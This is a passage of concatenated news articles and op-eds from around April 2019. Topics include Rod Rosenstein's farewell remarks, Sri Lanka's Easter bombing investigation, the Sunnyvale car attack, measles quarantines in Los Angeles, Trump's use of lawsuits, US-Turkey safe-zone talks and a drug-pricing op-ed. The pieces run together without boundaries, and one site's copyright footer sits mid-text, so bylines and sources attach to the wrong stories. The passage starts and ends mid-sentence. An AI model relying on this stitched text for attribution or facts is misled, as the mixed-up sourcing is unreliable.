by truth or morality. They make threats, spread fake stories, and even attack your relatives." Rosenstein also took some shots at the press. "Some of the nonsense that passes for breaking news today would not be worth the paper it was printed on, if anybody bothered to print it," he said. "One silly question that I get from reporters is, 'Is it true that you got angry and emotional a few times over the past few years?' Heck yes! Didn't you?" He also tried to joke off questions that emerged over his appearance last week at Barr's press conference ahead of the release of the Mueller report, in which he appeared ashen-faced. "Last week, the big topic of discussion was, what were you thinking when you stood behind Bill Barr at that press conference, with a deadpan expression? The answer is, I was thinking, "My job is to stand here with a deadpan expression'." The audience applauded. "Can you imagine if I did anything other than stand there at the press conference? Imagine the reaction and the commentary if I had smiled or grimaced," Rosenstein said. "But you cannot avoid criticism. The only way you can avoid criticism in public service is if you stay home. But somebody actually has to do the work and therefore you have to accept the criticism that comes with the job." The evening's other honoree was Robert Tembeckjian, administrator of New York State's Commission on Judicial Conduct. Rosenstein chatted with the others at his table and checked his phone as Tembeckjian unleashed a steady stream of criticism against the administration's immigration policies. The crowd applauded as Tembeckjian warned of the path to tyranny and celebrated his own family's history as undocumented immigrants from Armenia. Tembeckjian also earned some laughs at the president's expense, after mentioning his own retirement. "I can tell by the absence of Secret Service," he said, "that the person most eager to see [Rosenstein] leave is not here tonight." - - - Barrett reported from Washington. HARBOR BEACH On the April 12, schools from all over the state met at the Michigan State University campus to partake in the FFA skills contest. The students of the Harbor Beach FFA left early in the morning on that Friday to travel down to Lansing and spend the day transcending their knowledge of whichever category they choose. There were many categories to choose from, and students picked the ones that they had the most interest in. COLOMBO, Sri Lanka - Sri Lanka's president said Friday that intelligence failings allowed the devastating Easter attacks to take place and that a major reorganization of the security services would occur in the coming days. Speaking at his residence to local media executives, President Maithripala Sirisena said the national police chief and defense secretary had both been warned about the attacks but did not inform him. Defense Secretary Hemasiri Fernando and police chief Pujith Jayasundara resigned this week at Sirisena's request. "They did not say a word about this warning letter. It was a serious lapse on their part and shirk of responsibility," he said. The president spoke as Sri Lankans remained on edge and security forces fanned across the country. Muslim and Christian religious services were canceled or held under tight security amid police warnings of possible further attacks after multiple suicide bombings on Easter Sunday that killed at least 250 people at churches and hotels. In Washington, the State Department said Friday it has ordered the departure of all school-age family members of U.S. government employees from Sri Lanka, and it advised U.S. citizens to reconsider travel to the country, Reuters reported. Sirisena criticized the police for failing to act on intelligence provided by a foreign ally, widely reported to be India, several weeks before the blasts, warning that an Islamist extremist group in Sri Lanka, National Thowheed Jamaath, was planning an attack. He also confirmed that Zahran Hashim, a rabble-rousing Sunni extremist and Sri Lankan native identified as the mastermind of the attacks, was killed in one blast at the waterfront Shangri-La Hotel here. The Islamic State has asserted responsibility for the attacks, but its actual involvement remains unclear. Sirisena said that 70 of 140 people with suspected ties to the Middle East-based, Sunni terrorist group have been arrested so far and that those still at large are feared to be in possession of explosives. Sri Lankan police officials circulated a letter among security forces Thursday saying there were threats of new attacks, especially against some Muslim religious sites. A police spokesman said Friday that police forces had raided a house in Sammanthurai, a town on the eastern coast, and that after a gun battle they had seized an Islamic State flag, explosives, and clothes they said may have belonged to some of the Easter suicide attackers. It was not immediately clear who had been inside the house or whether any occupant had been killed. Police said the clothes matched those worn in a video that the attackers posted online before the bombings. Later Friday night, another raid in Sainthamaruthu, further east from Sammanthurai, led to a gun battle that left 15 dead, including four suicide attackers, three women and six children, police said. The president said strict new measures would be taken to identify and track people, similar to those used during the lengthy civil war between separatist ethnic Tamils and the government that ended in 2009. "Every household in the country will be checked," he said, and lists of all residents made to "ensure that no unknown person can live anywhere." "We had to declare an emergency situation to suppress terrorists and ensure a peaceful environment in the country," the president said. Police are looking in particular for former soldier Bathrudeen Mohammed Mohideen, known as Army Mohideen, who they say helped train the nine suicide bombers. Investigations show the bombers were mostly well-educated and from affluent backgrounds. Under tight security, mosques across Colombo held Friday prayer services, and thousands attended, despite an appeal by Muslim government officials for them to stay home as a security precaution. The Catholic archbishop of Colombo also announced Friday that there would be no Sunday Masses until further notice. About 10,000 soldiers were deployed across the country to carry out searches and protect places of worship this weekend. Since the Easter attacks, bomb disposal units have blown up several packages and motorbikes deemed suspicious. The U.S. Embassy in Colombo also urged American citizens to avoid places of worship over the coming weekend. At Colombo's 100-year-old Jami ul-Alfar Mosque, a towering structure of red and white turrets, worshipers and their belongings were searched at the entrance. Security forces cordoned off the surrounding blocks and mosque volunteers politely asked outsiders to stay at a distance. "I wanted to come to say my prayers for all the victims of this terrible killing, that God should welcome them in heaven," said Nizam Wellampitia, 81, a white-bearded cloth seller. "Both Jesus and our prophet said we should never harm others. We do not even like to kill a bird - the people who did this are brainwashed, and they will go to hell." "This is a nightmare for all of us," said Mohammad Neqab, 25, who sells sewing supplies nearby. "Our history as Sri Lankans is one of harmony, and we need unity more than ever now." One mosque aide, Mohammad Zuhair, said that the National Thowheed Jamaath had been a presence in the area for some time, spreading fundamentalist views, but that a new and more dangerous group had splintered off from it, possibly with foreign support. "Nobody trusted that new wing." Since the attacks on Sunday, social media platforms such as Facebook and WhatsApp have been shut down by the government, although many users are still accessing them through backdoor apps. Sirisena said he would meet with social media company managers later Friday to decide whether the ban would continue. The furor over the unheeded warnings of planned attacks has highlighted an ongoing crisis in Sri Lanka's national leadership and the deep, paralyzing divisions between Sirisena, the president, and Prime Minister Ranil Wickremesinghe. They are from rival political parties and have been locked in a prolonged power struggle over the past year. In his remarks Friday, Sirisena took a swipe at the premier - whom he attempted unsuccessfully to oust last year - claiming that one factor behind the bombings was that Wickremesinghe's government had weakened the intelligence system by prosecuting its members for alleged war crimes during a decades-long civil war. Wickremesinghe and his aides, in turn, have complained that the security services refused to pass on the warnings about the impending attacks. In addition to showing their mounting public anger over the political feuding that apparently stymied preemptive actions before the bombings, Sri Lankans are also perplexed and frustrated over the failure of the government medical system to accurately count and identify the bombing victims. On Thursday, health officials suddenly announced that the death toll was about 250 or 260 - a full one-third less than the previous official total of 359. Medical examiners in Colombo and Negombo, the cities with the highest casualties, declined requests for interviews Friday, but Sri Lanka media reports said that there were 55 still unidentified bodies in the main Colombo morgue. The national health director said Thursday that the problem stemmed mainly from the large amount of fragmented human remains left by the powerful blasts, which were difficult to match with individuals. At least 38 foreigners have been identified among the dead. - - - The Washington Post's Paul Schemm in Addis Ababa, Ethiopia, and Niha Masih in New Delhi contributed to this report. An Army veteran who faces eight counts of attempted murder after plowing his car into a crowd of people in Sunnyvale, critically injuring a 13-year-old girl, targeted the victims because he thought some of them were Muslim, police officials said Friday. Isaiah Joel Peoples, 34, was ordered held without bail Friday at his first appearance in court since being arrested and charged with steering his black 2010 Toyota Corolla into eight pedestrians Tuesday evening. The defendant said nothing during the brief appearance in Judge Richard Loftus courtroom at the Santa Clara County Hall of Justice in San Jose. Based on our investigation, new evidence shows that the defendant intentionally targeted the victims based on their race and his belief that they were of the Muslim faith, Sunnyvale Police Chief Phan Ngo said outside court. The chief didnt explain what evidence led police to believe this and did not say whether any of the victims are Muslim. The Santa Clara County district attorneys office charged Peoples with eight counts of attempted murder, four of which have enhancement for causing great bodily injury. Prosecutors have not filed hate crime enhancements in the case, but are prepared to do so if the investigation yields enough evidence, Chief Assistant District Attorney Jay Borarsky said. There is very appalling, disturbing evidence that at least one or two of these victims were targeted based on the defendants view of what their race or religion may have been, Borarsky said, adding that we have zero tolerance for any sort of hate crime. Sunnyvale police Capt. Jim Choi said Peoples has made no statements of remorse since his arrest Tuesday evening. Peoples attorney, Chuck Smith, challenged the accusations and said his client did not intentionally run down anyone and has been praying for the victims injured from his actions. This act was clearly the product of some mental disorder or mental defect, Smith said after the hearing. There is no explanation for this other than his service, the things he saw, and what happened to him mentally while serving our country. Peoples served in the U.S. Army from 2004 to 2006 and was honorably discharged before joining the Army Reserve in 2008. He was a civil affairs specialist who retained the rank of sergeant and was deployed to Iraq from June 2005 to May 2006, officials said. His brother has told The Chronicle that Peoples was struggling with post-traumatic stress disorder after his return from the Middle East. He was on medication and spent nearly a year in a mental institution in 2015, his brother, Joshua Peoples, said. Before he ran down the crowd, Peoples picked up food and was heading toward a Bible study group, police said. One witness told The Chronicle that he reached speeds up to 60 mph before striking the victims. Police later found a disassembled, inoperative shotgun in the Toyota, they said. Peoples hit seven of the eight victims he targeted, police said. One of the victims pushed his 9-year-old son out of the cars path. The father, however, was hit, along with his 13-year-old daughter, who authorities said is the most severely injured victim. She remains in critical condition in a coma with swelling to her brain, police officials wrote in court papers. Doctors removed the left side of her skull to relieve pressure. She also has a broken pelvis. Our hearts are with her and her loved ones as we pray for her recovery, Ngo said. The six other victims have injuries ranging from broken bones to minor scrapes. After crashing into the crowd at the intersection of El Camino Real and Saratoga-Sunnyvale Road, a witness said, Peoples got out of his car and repeatedly mumbled, Thank you, Jesus, before police came to the scene and arrested him. The attack comes as many local Muslims have grown fearful and frustrated over recent anti-Muslim rhetoric and attacks around the country and world. Last month, a man suspected of having white nationalist ties gunned down 49 people at two mosques in New Zealand during Friday prayer. In the United States, Muslims were the target of nearly 19% of religiously motivated hate crimes, according to FBI data released in 2018. My heart breaks for anyone who is an innocent victim of hate, said Samina Sundas, founder of the American Muslim Voice Foundation, a Bay Area Muslim advocacy group. People are just killing right and left. I dont know when it will stop. Sundas said people shouldnt focus on divisiveness when tragedies like the one in Sunnyvale happen. More of us need to dedicate ourselves to love, not hate, she said. Lauren Hernandez, Tatiana Sanchez and Evan Sernoffsky are San Francisco Chronicle staff writers. Email: lauren.hernandez@sfchronicle.com tatiana.sanchez@sfchronicle.com esernoffsky@sfchronicle.com Twitter: @LaurenPorFavor @TatianaYSanchez @EvanSernoffsky A middle school English teacher lauded for fostering a love of learning and boosting student confidence was tapped as the 2019-2020 Teacher of the Year in Maryland's largest school system. Madeline Hanington, from Hallie Wells Middle School in Clarksburg, was selected for the top honor in Montgomery County Public Schools during an awards celebration Thursday night in Germantown. Hanington, who was once an English-language learner herself, was praised for an effective teaching style described as "dynamic, challenging, innovative and nurturing." Academic intervention programs she created in her classroom led to a rise in state test scores by at least 5 percent, school system officials said. "Her lived experience: immigrant parents, poverty, academic success, coupled with her natural traits of caring and dedication, make Ms. Maddy Hanington an exceptional teacher who makes that difference in children's lives," Hallie Wells Principal Barbara Woodward said in a recommendation. At Hallie Wells since 2016, she works as an English content specialist and teacher, and is co-sponsor of the National Junior Honor Society, along with a Lady Scholars program. Hanington was a Milken Educator Award winner in 2011 and has served as a mentor to teachers at her school and supported others outside her building, according to school officials. She previously taught at Cabin John, Lakelands Park and Gaithersburg middle schools. She will go on to compete for the title of Maryland Teacher of the Year. Other Montgomery County finalists were Maura Backenstoe, a kindergarten teacher at Burning Tree Elementary School, and Teak Bassett, a social studies teacher at Clarksburg High School. President Donald Trump on Friday defended his controversial 2017 comments about a white supremacist rally in Charlottesville, Virginia, saying his remarks were perfect when he said both sides were to blame for the violence that left one person dead. "If you look at what I said you will see that question was answered perfectly," Trump said Friday as he left the White House for an event in Indianapolis. Trump's remarks came a day after former Vice President Joe Biden highlighted the president's reaction to Charlottesville in a video announcing he's running for president. Biden argued in the video that Trump's presidency was "an aberrant moment in time" and that his comments "assigned a moral equivalence between those spreading hate and those with the courage to stand against it." Trump drew widespread bipartisan criticism -- including from senior members of his own staff -- for his reaction to the 2017 march by self-identified white supremacist groups in Charlottesville. Organizers said the goal of the event was to unify the nation's white nationalist movement and protest the removal of a statue of Confederate general Robert E. Lee in a city park. Trump on Friday also praised Lee: "I was talking about people who went because they felt very strongly about the monument to Robert E. Lee, a great general. Whether you like it or not, he was one of the great generals. I've spoken to many generals here, right at the White House, and many people thought -- of the generals, they think he was maybe their favorite general. People were there protesting the taking down of the monument to Robert E. Lee. Everybody knows that." The Charlottesville event drew widespread media attention when participants were seen chanting anti-Semitic slogans and wielding tiki torches. A counter-protester was killed by a self-identified white supremacist who drove his car into a crowd of people near the rally site. In remarks shortly afterward, Trump said he was concerned not only by white supremacists but the actions of "alt-left protesters," adding that there were "very fine people on both sides" of the conflict. Trump said Friday he wasn't concerned that Biden could defeat him in the coming presidential election, saying he would "easily" beat the former vice president. Trump also suggested Biden, who at 76 is four years older than the president, might be too old to win. "I am a young, vibrant man," Trump said. "I look at Joe -- I don't know about him." By Zhu Wenqian, China Daily | Apr. 25, 2019 Aeroflot-Russian Airlines will launch more direct flights between China and Russia as a result of increasing passengers traveling between the two countries. Russia's largest airline, Aeroflot currently operates direct daily flights connecting Moscow and four Chinese cities - Beijing, Shanghai, Guangzhou and Hong Kong. The airline last year transported nearly 1.4 million passengers between Russia and China, a rough growth of 5-7 percent year-on-year, according to the airline. "We are very confident of the growth potential in the China market. This year, we plan to launch new flights connecting Moscow and second-tier Chinese cities Chengdu and Urumqi, and we are waiting for their approval. "We also plan to add more frequencies of our current flights," said Aeroflot deputy CEO Igor Chalik in Beijing. "We have seen a significant increase in the number of businesspeople traveling between China and Russia, driven by a large number of cooperation projects that the two countries have," he said. China since 2016 has been the largest source of tourists to Russia, with Moscow, St Petersburg, Kazan and Krasnodar the most popular cities, said Aeroflot. Meanwhile 60 percent of Chinese passengers who flew to Moscow choose to transfer from Moscow airport to other Russian and European cities. The airline plans to further strengthen its transfer operations between Europe and Asia, Aeroflot said. Chalik said the Belt and Road Initiative has created opportunities for the aviation industry, including the launch of new flights and construction of infrastructure, adding that Aeroflot welcomes and appreciates the initiative. President Donald Trump said Thursday night that he's "rooting for" Pete Buttigieg when he was asked to give his impressions of some of the top Democratic presidential contenders. At the end of a 45-minute live interview with Fox News' Sean Hannity, the host asked Trump to offer his thoughts on the slate of candidates who want to take him on in 2020. Trump did not embellish why Buttigieg is his favored candidate and didn't have anything negative to say about the young South Bend, Indiana, mayor other than that he doubted he'd win the crowded primary. "I hope he would," Trump said. "I'm rooting for him, but he is not going to make it." But the rest of his answers cast little doubt that Trump is eager to skewer his would-be opponents like he did the cast of GOP candidates in 2016. Trump doubled down on the nickname he chose for former vice president Joe Biden, "Sleepy Joe." The president didn't have anything to back up that moniker other than to say, "he's a pretty sleepy guy," and that he wouldn't be able to do the job, claiming the veteran politican couldn't hold his own with the likes of Chinese President Xi Jinping. After Biden officially entered the race early Thursday, Trump tweeted: "Welcome to the race Sleepy Joe." Of Sen. Bernie Sanders, I-Vt., Trump said he's "got a lot of energy, but it's misguided energy" and that he "talks a lot," but doesn't get anything done. Trump said former representative Beto O'Rourke is "a fluke" who is "fading very fast." "Looks like he's going to be a thing of the past soon," Trump said. "He was a hot item for awhile." As for Sen. Kamala Harris, D-Calif., he said she seems to have "a little bit of a nasty wit." In 2016, Trump called Hillary Clinton a "nasty woman" during a debate and the term ended up a feminist rallying cry. During the interview, which was mostly a vent session for Trump about the Russia investigation, he mocked senior senators for supporting Rep. Alexandria Ocasio-Cortez's Green New Deal, saying they stood "fawning behind her," while she was talking about her vision to combat both climate change and income inequality. He also took yet another swipe at the late senator John McCain for his famous thumbs-down vote that blocked Republicans from moving forward on repealing key sections of the Affordable Care Act. "He did Republicans a tremendous disservice, did the nation a tremendous disservice . . . it was a disgraceful thing to do," Trump said about the war hero. WASHINGTON - When Donald Trump perceives an attack, he hits back, and his weapon of choice has long been the courts. He threatens legal action himself and through his lawyers, in private missives and in public blasts. Sometimes, he actually files suit. Now, with an energized Democratic House majority mounting an array of investigations and talking impeachment in the wake of the special counsel's report on Russian interference in the 2016 election, the president is vowing to "head to the U.S. Supreme Court." Never mind that the high court plays no role in impeachment, which the Founders designed as a faceoff between the executive and legislative branches. In politics, as in business, marriage and nearly every aspect of a career spanning five decades, Trump uses the courts and threats of legal action for self-defense and to punish those who seek to alter the image he has crafted for himself. This week, Trump's private attorneys filed suit against the House Oversight Committee and Trump's own accounting firm after the panel subpoenaed his financial records. The Justice Department announced that Attorney General William Barr instructed one of its top officials to ignore a subpoenaed deposition. And the president tweeted that "If the partisan Dems ever tried to Impeach, I would first head to the U.S. Supreme Court." Rep. Gerald Connolly, D-Va., a member of the Oversight Committee, accused the president of "triggering a constitutional crisis." Of course, battles between Congress and presidents have wound up in court before, notably in the final stages of the confrontation between lawmakers and President Richard Nixon. And presidents have often spoken of the Supreme Court in decidedly political terms; Franklin Roosevelt even sought to expand the court's roster to pack it with ideologically like-minded justices. But Trump is unlike any predecessor in his lifelong dependence on the court system as a rhetorical club to wield over his enemies, a tool of public persuasion and a tactical weapon of delay and distraction. From his meteoric rise in the Manhattan real estate development business through his string of bankruptcies in the casino hotel business, Trump has turned to the courts more than any other future president, having been involved in more than 4,000 lawsuits himself and through his businesses, according to a database assembled by USA Today. In most cases, his goal has not necessarily been to win, but rather to use the notion of a court battle to diminish or destroy an opponent. From early on in his lifelong pursuit of fame, fortune and power, Trump has joined "I'll sue" with brash rhetoric, a constant media presence and an infinite capacity for starting over. As president, however, Trump seems taken with the idea that the judges he has appointed will not only guarantee legal victory but will be the ultimate safeguard of his actions and policies. From the start of his 2016 campaign, Trump made clear that he saw the courts not as an independent branch of government, but as one more weapon in a president's arsenal. "We're going to have great judges, conservative, all picked by the Federalist Society," he told Breitbart News in June 2016. "If it's my judges, you know how they're gonna decide," Trump told an evangelical Christian audience a week later, answering a question about Second Amendment gun rights. The coming months will test that notion against the historic role of the judiciary, particularly the Supreme Court. "The Supreme Court plays no role in impeachment, and there's virtually no way the court would take up any challenge to an impeachment," said Peter Irons, a constitutional lawyer and political scientist at the University of California at San Diego, who has written a history of the high court. "More important, they are the institution that stands apart from partisan politics. If we come to think of the court as simply five Republicans and four Democrats, then that bulwark is really broken." Trump was encouraged to use the courts as a weapon by his early mentor, New York attorney Roy Cohn. He recognized from the start of his career that the mere threat of a lawsuit enabled him to respond to crises with delay, distraction and deflection. Most often, his threats to take opponents to court are just that - words intended to intimidate or silence an enemy, rather than a precursor to any actual filing of a lawsuit. In 2004, when a writer named Robert Slater was researching a book about him, Trump had his attorney write a letter announcing that a suit would be filed if the author published a book without Trump's approval. Ultimately, there was no lawsuit. After the threat, Trump called Slater, told him he'd heard the writer was "an amazing guy," and offered to cooperate. If he liked the book, he said, he'd even buy a load of copies. The publisher agreed to let Trump see the book ahead of its release, and Trump was even allowed to remove material he didn't like. Sometimes, he sued for publicity. In 1984, he filed a $500 million defamation suit against a Chicago Tribune critic who called Trump Tower's lobby "a kitschy shopping atrium of blinding flamboyance." A judge dismissed the case, but Trump got a load of media attention from it. Other times, he sued as personal punishment. In 2006, he filed a libel suit against Tim O'Brien, the author of a biography that concluded Trump's net worth was not the $6 billion he claimed, but rather "somewhere between $150 million and $250 million." The suit was dismissed, but only after three expensive years of proceedings. Trump told The Washington Post that suing O'Brien was worthwhile even though he'd always known that, as a public figure, he was highly unlikely to win a libel judgment. "I liked it because I cost him a lot of time and a lot of energy and a lot of money," Trump said. "I said, 'Go sue him, it will cost him a lot of money.' " Sometimes, Trump would talk lawsuit just for the heck of it. "Watch [John] Kasich squirm," Trump tweeted about the Ohio governor, one of his opponents in the 2016 GOP primaries. "If he is not truthful in his negative ads, I will sue him just for fun!" In the end, Irons, the constitutional lawyer, said Trump "almost always backs down from his threats to sue. For example, all the women who accused him of sexual misconduct during the campaign: He threatened to sue them and, of course, he never did." Even as president, Trump has not shied away from turning to the courts. Less than a month after the inauguration, first lady Melania Trump filed suit in New York against the Daily Mail, the London-based news organization that had published allegations that she once worked as an "elite escort." The lawsuit sought compensation for the "harm done to her, her commercial brand and her business opportunities." Two months later, the Mail settled the case, apologizing to the first lady and paying a reported $2.9 million in damages. As quick as Trump is to talk lawsuit, some of those who have represented him contend that he does not reflexively head to the courthouse. Rather, they say, he thinks of the courts as one tool in a quiver of weapons available to confront opponents. "I was with him 20 years in his two matrimonials and he never once went to court," said Jay Goldberg, a New York attorney who handled Trump's two divorces. Goldberg said Trump often "wanted to go to court, but I persuaded him it wasn't in his best interests and he resolved the issues through other means." Goldberg has quoted Trump's frequent admonition to his lawyers: "Don't tell me it can't be done. Your job is to tell me how it can be done." Although some of Trump's lawyers have come to view him as impulsive and easily angered by the court system's long delays and emphasis on process, others say he is a savvy legal consumer who understands how to use the courts to his advantage. Sometimes that's a simple matter of filing repeated motions to stretch out a lawsuit and make an opponent spend more on attorneys' fees. And sometimes it involves more overtly aggressive moves, such as when Trump used his campaign rallies to bash a federal judge, Gonzalo Curiel, who was presiding over a case against Trump University. "I have a judge who is a hater of Donald Trump, a hater," candidate Trump said at one rally. "The judge, who happens to be, we believe, Mexican, which is great - I think that's fine." As president, Trump has found that his old tactic of threatening lawsuits continues to win lots of attention. Since taking office, he has threatened to sue - among others - the New York Times and The Post, the publisher of a critical book and former political adviser Steve Bannon. None of those suits, however, has come to pass. More than 300 students, staff and faculty at two Los Angeles universities will be quarantined after being exposed to measles, according to Los Angeles County health officials; the latest development in a resurgence of the highly contagious disease that was declared eliminated in 2000. The University of California, Los Angeles, said in a statement Wednesday that a student infected with measles attended classes at two campus buildings on April 2, 4 and 9. He did not enter any other buildings while on campus, but the university determined that more than 500 students and staff may have been exposed or come into contact with the sick student. While many of those individuals were cleared, the university said it is awaiting medical records from 119 students and eight faculty members, who will be "quarantined for approximately 24-48 hours until their proof of immunity is established." The students will live on campus while quarantined, which for some could last up to seven days. Officials at California State University, Los Angeles, also alerted its students and staff of a potential measles exposure that took place at a campus library on April 11 from 11 a.m. to 3 p.m. Those at the library during that time were asked to provide immunization records or be checked for immunity at the health center, California State said in a statement Thursday. Thus far, 127 staff employees and 71 student employees have been instructed to stay at home and avoid contact with others under quarantine orders, according to the university. "For those exposed to a confirmed case of measles who could not provide evidence of two doses of measles immunizations or lab verified immunity to measles, a Health Officer Order for quarantine is being issued," the Los Angeles County Department of Public Health said in a statement. Quarantined students and staff are asked to stay at their residences and notified the department if they develop symptoms. The quarantines could last for up to 21 days, the department said. The announcement comes just days after public health officials declared a measles outbreak in the county. The orders come amid a surge of measles outbreaks across the country - a reported 695 cases overall spanning 22 states - exceeding the highest number in a single year since the disease was declared eliminated in 2000, the Centers for Disease Control and Prevention reported Wednesday. In a statement late Wednesday, Health and Human Services Secretary Alex Azar said the United States is seeing "a resurgence of measles, a disease that had once been effectively eliminated from our country. . . . Measles is not a harmless childhood illness, but a highly contagious, potentially life-threatening disease." The CDC cited misinformation about the safety of the measles vaccine as a contributing factor to the uptick in places such as New York. However, the Los Angeles Times notes that high vaccination rates in the state have prevented small outbreaks from proliferating. - - - The Washington Post's Lena H. Sun contributed to this report. The United States and Turkey are negotiating a plan for their troops to jointly patrol a safe zone about 20 miles wide along Syria's northeastern border with Turkey, according to officials from both countries. The proposed arrangement, including withdrawal from the zone of Syrian Kurds, who have been crucial U.S. allies in the fight against the Islamic State, marks a step back from initial Trump administration hopes that coalition allies or local security would secure the area. The patrols would be an additional task for U.S. forces in Syria, whose numbers are due to be cut by more than half, to about 1,000, in the coming months. Britain and France, whose forces continue to participate in the U.S.-led counterterrorism mission against Islamic State remnants, have rejected an American request to contribute to what will be a buffer between the Kurds and Turkey. Ankara considers the Kurds to be terrorists. The border issue is one of several conflicts that have seriously disrupted the U.S.-Turkish relationship and put the two NATO allies on a collision course. Despite a steady stream of high-level Turkish officials visiting Washington in recent days, there has been no apparent progress in resolving U.S. demands that Turkey cancel its order for a Russian missile defense system, or risk being cut off as a purchaser and a participant in the United States' F-35 Joint Strike Fighter jet program. Turkey has said its purchase of Russia's S-400 system is a "done deal." Alexander Mikheev, the head of the Russian state arms exporter, Rosoboronexport, said Wednesday that "everything has been already discussed and agreed" upon and that delivery is planned to begin in July. Turkish President Recep Tayyip Erdogan has rejected U.S. and NATO insistence that "co-location" of the Russian system and the F-35, the fifth generation of U.S. jet fighters, is unacceptable. Congress has threatened sanctions against Turkey if it goes ahead with the deal. Tensions increased this week with the Trump administration's announcement that it would no longer waive sanctions against foreign companies and financial institutions in countries that depend on Iranian oil. Turkey, with a pipeline across their shared border, is a primary Iranian customer and stands to take a significant economic hit if the flow is shut off. Ankara has protested the "secondary" sanctions, due to take effect May 2, as an illegal violation of its sovereign right to trade with any country it wishes. It has asked for more time to reduce its dependence on Iranian oil, but the administration's position remains that there will be no waiver extensions. Last month, senior Trump administration officials expressed hope that relations would thaw after Turkey's municipal elections in late March. But despite a steady stream of high-level diplomatic, military and trade talks over the past several weeks, only the border issue appears to show some glimmer of progress. "There are still differences of significance, but will on both sides to find solutions," said a senior U.S. government official, who said the administration would like a narrower strip of land than the approximately 20 miles the Turks have proposed. The official spoke on the condition of anonymity because negotiations are ongoing. Trained and armed by the United States, the Syrian Kurds of the People's Protection Units - YPG by its Kurdish initials - have been the primary ground forces in the U.S.-led coalition's fight against the Islamic State in Syria. The militia is the military arm of the Democratic Union Party, the main Kurdish political organization. Turkey says they are terrorists allied with its own Kurdish separatist movement and called on the United States to disarm and demobilize them. The United States, which has said that thousands of Islamic State fighters remain dispersed or underground in Syria, has refused. Last year, as the Trump administration claimed victory in ejecting the Islamic State from Syrian territory it occupied along the Euphrates River, Erdogan massed troops on the border and threatened an offensive against the Kurds if they were not removed. That threat gained additional heft when President Trump, during a mid-December telephone conversation with Erdogan, said he was planning to withdraw about 2,000 U.S. troops in Syria. Trump also agreed to a protected zone that would keep the Kurds away from the Turkish border. But the immediate question was who would protect it. Turkey said it would send in its own troops - along with resettled Syrian refugees in Turkey who had fled violence in Syria - and asked for U.S. logistics and air cover. The administration, eager to avoid a situation that would in effect move the border 20 miles south, into Syria, and not removing the threat of an armed clash with the Kurds, appealed for coalition allies to position themselves as a buffer. They refused, saying their mission was only to fight the Islamic State. A subsequent Trump administration plan to train non-YPG Syrians as a protection force never fully materialized. In addition to ongoing discussions over the width of the zone to be patrolled, YPG leaders said last week that they had not yet been informed of U.S. withdrawal plans. Copyright 1995 - . All rights reserved. The content (including but not limited to text, photo, multimedia information, etc) published in this site belongs to China Daily Information Co (CDIC). Without written authorization from CDIC, such content shall not be republished or used in any form. Note: Browsers with 1024*768 or higher resolution are suggested for this site. 0108263 License for publishing multimedia online Registration Number: 130349 Registration Number: 130349 The westbound lanes of U.S. Highway 90 will reopen on Friday afternoon, days after a sewer line collapse shut down a stretch of the highway. On Tuesday morning, a sinkhole was reported on the highway near Hunt Lane and southbound Loop 410. Crews determined the sinkhole was caused by a collapsed sewer line running under the highway. A new intersection connecting two major roadways on the Northwest Side is set to open by Sunday, although motorists may want to avoid the area while work is being completed this weekend. The intersection at Bandera Road, or Texas 16, includes a two-lane displaced left turn connector from northbound Bandera to westbound 1604 that is the first configuration of its kind in San Antonio, the Texas Department of Transportation said. The landscape of American higher education is shifting, and how we approach emerging trends in that field will deeply affect our future. In adopting a new strategic plan for the arts, humanities and social sciences, St. Marys University has created a map to address these trends. The trends certainly include emerging technologies but are much wider. Students themselves, for example, are increasingly both younger (via Advanced Placement, dual credit and the like) and older. They are more diverse, often seeking less the prototypical, four-year (at one institution) residential degree than certificates and short courses and are deeply concerned about debt. Such trends stem less from our colleges and universities than from our times and context. We face climate-related challenges on the one hand and enormous social, demographic, economic and technological upheaval on the other. Solving these challenges will require students prepared to navigate a landscape in motion by being educated for adaptation and change. I dub such an approach future-proofing, a focus on developing habits of thought and of problem-solving that adapt to these challenges. The latest educational literature shows that solutions to these problems are less likely to be technical fixes than fundamental changes in approach developed during an intensive liberal arts education. Embracing these challenges, St. Marys University one year ago launched a strategic planning process with three imperatives: At a moment of increasing global competition, in a world seeking specialists, not generalists: Educate students for a future we cannot know. In an era of economic, political and spiritual uncertainty undermining institutions of all types: Expand and invigorate what it means to be educated in the liberal arts tradition, for it remains the only way to future-proof our graduates. As divisions increase abroad and at home, recommit to formation in faith: Strengthen our ethic of inclusion for diverse students, faculty, staff, veterans, nontraditional students, community members and those of other faiths. Welcome partners in business, industry and community organizations to assist. The culminating document, our Aspirational Strategic Action Plan, reshapes the education that undergraduate, graduate and certificate students receive in the arts, humanities and social sciences by reorganizing the School of Humanities and Social Sciences into the College of Arts, Humanities and Social Sciences and broadening and deepening learning in the Catholic and Marianist tradition. Specifically, the plan asks faculty in the arts, humanities and social sciences to: Think beyond traditional disciplinary boundaries. Pair with students in problem-driven projects addressing community issues. Engage students in high-impact practices (study abroad, internships, undergraduate research) to intensify education, personalize it and connect to the global challenge. Strategic undergraduate initiatives already underway include the St. Marys History Media Project, in which interdisciplinary faculty guide first-semester freshmen to research, peer review and publish; the Oxford Experience study abroad program, in which students examine questions of meaning with scholars from multiple disciplines; and a project with the Harvey Najim Center for Business Innovation and Social Responsibility, in which communication studies students pair with electrical engineering and business students to solve problems for small businesses and community organizations. At the graduate level, research initiatives are myriad, but include projects to refine the approach to stroke care in rural Texas; improve processes at CPS Energy, San Antonios power utility, reaping efficiencies that will lower consumer rates; and document how Senate Judiciary Committee members at the outset marginalized the nomination of Sonia Sotomayor to the U.S. Supreme Court. The common themes of our new strategic plan are to engage students in high-impact practices and integrate those practices across the curriculum; break down disciplinary silos; focus faculty and graduate student research (project-based learning) to improve our communities; and position St. Marys as a hub for systems change an institution where we create new opportunities and improve lives. Christopher Frost, Ph.D., is dean of the St. Marys University College of Arts, Humanities and Social Sciences and professor of psychology. The college strategic plan is available at http://bit.ly/StMUCollegePlan. When Donald Trump won the 2016 presidential election, voters were counting on more fiscal responsibility in Washington, lower taxes and decreased regulations. While Trump has delivered on tax cuts and cutting bureaucratic red tape, I am concerned to learn about a so-called rebate rule that would cost taxpayers a whopping $196 billion. This misguided proposal would eliminate the ability of pharmacy benefit managers, or PBMs, to check Big Pharmas price-gouging of Medicare Part D recipients. To properly understand why this rule would be so disastrous for U.S. patients and taxpayers, it is first important to understand exactly how Big Pharma has stifled competition in the prescription drug market and what PBMs do to control their power. Big drugmakers have increasingly been successful in price gouging American patients by undertaking shady tactics, such as filing patents for inconsequential changes in their drugs, such as pill shape and color to keep cheaper generics brands from reaching the market. With no competition, drugmakers have free rein to jack up their list prices by exorbitant amounts lining their own pockets, but forcing many patients to make the impossible choice of paying for the drugs they rely on or keeping up with necessities like rent. Fortunately, 